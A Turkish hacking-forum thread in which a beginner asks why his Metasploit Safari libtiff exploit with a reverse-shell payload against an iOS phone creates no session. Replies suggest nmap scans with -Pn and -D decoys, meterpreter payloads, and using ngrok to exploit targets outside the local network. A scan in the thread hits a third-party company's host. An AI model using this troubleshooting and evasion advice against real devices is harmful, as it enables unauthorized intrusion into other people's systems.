Metasploit de but no session was create hatası alıyorum

[Analjezik]

Kendi ios telefonuma sızmaya çalışıyorum ve session -i 1 yaparak meterpreter kısmına geçeceğim ama session oluşturulamadı diyor.
Aşağıdaki gibi yaptım

msf6 exploit(apple_ios/browser/safari_libtiff) > set LHOST 212.***.118.246
LHOST => 212.***.118.246
msf6 exploit(apple_ios/browser/safari_libtiff) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 212.***.118.246:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
msf6 exploit(apple_ios/browser/safari_libtiff) > set LHOST 212.***.118.246
LHOST => 212.***.118.246
msf6 exploit(apple_ios/browser/safari_libtiff) > set LPORT 8080
LPORT => 8080
msf6 exploit(apple_ios/browser/safari_libtiff) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 212.***.118.246:8080:-  -
[-] Handler failed to bind to 0.0.0.0:8080:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
msf6 exploit(apple_ios/browser/safari_libtiff) >

sessions -i yazınca

Active sessions
===============

No active sessions.

çıkıyor. Ne yapmalıyım ?

Not: İlk Hack im

 

[SecurityFaTHeR]

Kendi ios telefonuma sızmaya çalışıyorum ve session -i 1 yaparak meterpreter kısmına geçeceğim ama session oluşturulamadı diyor.
Aşağıdaki gibi yaptım

msf6 exploit(apple_ios/browser/safari_libtiff) > set LHOST 212.***.118.246
LHOST => 212.***.118.246
msf6 exploit(apple_ios/browser/safari_libtiff) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 212.***.118.246:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
msf6 exploit(apple_ios/browser/safari_libtiff) > set LHOST 212.***.118.246
LHOST => 212.***.118.246
msf6 exploit(apple_ios/browser/safari_libtiff) > set LPORT 8080
LPORT => 8080
msf6 exploit(apple_ios/browser/safari_libtiff) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 212.***.118.246:8080:-  -
[-] Handler failed to bind to 0.0.0.0:8080:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
msf6 exploit(apple_ios/browser/safari_libtiff) >

sessions -i yazınca

Active sessions
===============

No active sessions.

çıkıyor. Ne yapmalıyım ?

Not: İlk Hack im

biryerde bir eksiğin var show options yaparak eksiğine bak

 

[Analjezik]

biryerde bir eksiğin var show options yaparak eksiğine bak

Yaptım zaten bunlar çıkıyor ne yapmalıyım burdan sence

CODE]Module options (exploit/apple_ios/browser/safari_libtiff):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the lo
cal machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (osx/armle/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 212.***.118.246 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port


Exploit target:

Id Name
-- ----
0 MobileSafari iPhone Mac OS X (1.00, 1.01, *.**, 1.1.1)[/CODE]

 

[SecurityFaTHeR]

Yaptım zaten bunlar çıkıyor ne yapmalıyım burdan sence

CODE]Module options (exploit/apple_ios/browser/safari_libtiff):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the lo
cal machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (osx/armle/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 212.***.118.246 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port


Exploit target:

Id Name
-- ----
0 MobileSafari iPhone Mac OS X (1.00, 1.01, *.**, 1.1.1)[/CODE]

Anladığım kadarıyla server localhostunu yazmamışsın yes diyenler senden istedikleri no yazarsa senin yazmana gerek yok birde sızarkenki payload seçeneklerinde meterpreter varsa seçin işinize çok yarar payloadları show payload diyerek seçerseniz iyi olur siz bana resim atabilirmisiniz msfconsole çekip exploitiniz multi/handler mı

eğer bir siteye sızacaksanız 80 portu açıkmı nmap la tarayın komut: nmap -sT -sV -A -vv (rastgele ip için -D) hedef site

 

[Analjezik]

Anladığım kadarıyla server localhostunu yazmamışsın yes diyenler senden istedikleri no yazarsa senin yazmana gerek yok birde sızarkenki payload seçeneklerinde meterpreter varsa seçin işinize çok yarar payloadları show payload diyerek seçerseniz iyi olur siz bana resim atabilirmisiniz msfconsole çekip exploitiniz multi/handler mı

Apple_ios

eğer bir siteye sızacaksanız 80 portu açıkmı nmap la tarayın komut: nmap -sT -sV -A -vv (rastgele ip için -D) hedef site

Yok şuan telefona sızmaya çalışıyorum

 

[SecurityFaTHeR]

Yok şuan telefona sızmaya çalışıyorum

local ağdamısınız

nmap -sT -sV -A -vv (rastgele ip için -D) ip adresi

önce bir tarayın nmap ile

 

[Analjezik]

local ağdamısınız

Evet ama daha sonra olmadığım versiyonlarınıda deneyeceğim

nmap -sT -sV -A -vv (rastgele ip için -D) ip adresi

önce bir tarayın nmap ile

Taradım

 

[SecurityFaTHeR]

Taradım

sonuç

 

[Analjezik]

sonuç

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-03 22:17 +03
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
Initiating Ping Scan at 22:17
Scanning 212.***.118.246 [2 ports]
Completed Ping Scan at 22:17, 3.00s elapsed (1 total hosts)
Nmap scan report for 212.***.118.246 [host down, received no-response]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 4.57 seconds

 

[SecurityFaTHeR]

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-03 22:17 +03
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
Initiating Ping Scan at 22:17
Scanning 212.***.118.246 [2 ports]
Completed Ping Scan at 22:17, 3.00s elapsed (1 total hosts)
Nmap scan report for 212.***.118.246 [host down, received no-response]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 4.57 seconds

-Pn unuttum pardon -Pn ekle ve local ağda değilsen olmaz local ağ da olman lazım ama denesen

 

[Analjezik]

-Pn unuttum pardon -Pn ekle ve local ağda değilsen olmaz local ağ da olman lazım ama denesen

pn ekleyince trakya bilgisayarınki çıktı durdurdum

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-03 22:24 +03
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 22:24
Completed Parallel DNS resolution of 1 host. at 22:24, 0.01s elapsed
Initiating Connect Scan at 22:24
Scanning www.trakyabilgisayar.com.tr (212.***.118.246) [1000 ports]

 

[SecurityFaTHeR]

pn ekleyince trakya bilgisayarınki çıktı durdurdum

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-03 22:24 +03
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 22:24
Completed Parallel DNS resolution of 1 host. at 22:24, 0.01s elapsed
Initiating Connect Scan at 22:24
Scanning www.trakyabilgisayar.com.tr (212.***.118.246) [1000 ports]

nmap hostu butmuş olmalı host çıktığına göre -A scriptler ile tarama yapar -Pn ping atmadan tarama yapar ondan -Pn koy dedim yoksa firewallara takılabilirsin

 

[Nikon of Disast]

Selamlar, hedef ile aynı ağda olduğunuzdan, hedefte güvenlik açığı olduğundan ve firewall koruması olmadığından emin olun, eğer yine hata alrısanız & hedef dış ağ da ise, ngrok ile dış ağ'ı exploitleyin.